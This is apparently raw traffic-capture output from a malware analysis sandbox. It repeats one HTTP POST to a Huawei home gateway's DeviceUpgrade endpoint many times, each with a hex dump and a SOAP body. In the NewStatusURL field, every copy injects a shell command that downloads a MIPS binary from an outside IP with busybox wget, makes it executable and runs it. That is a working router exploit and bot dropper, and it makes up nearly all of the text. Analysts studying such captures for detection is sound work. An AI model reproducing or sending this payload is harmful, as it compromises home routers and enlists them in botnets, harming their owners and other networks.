2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
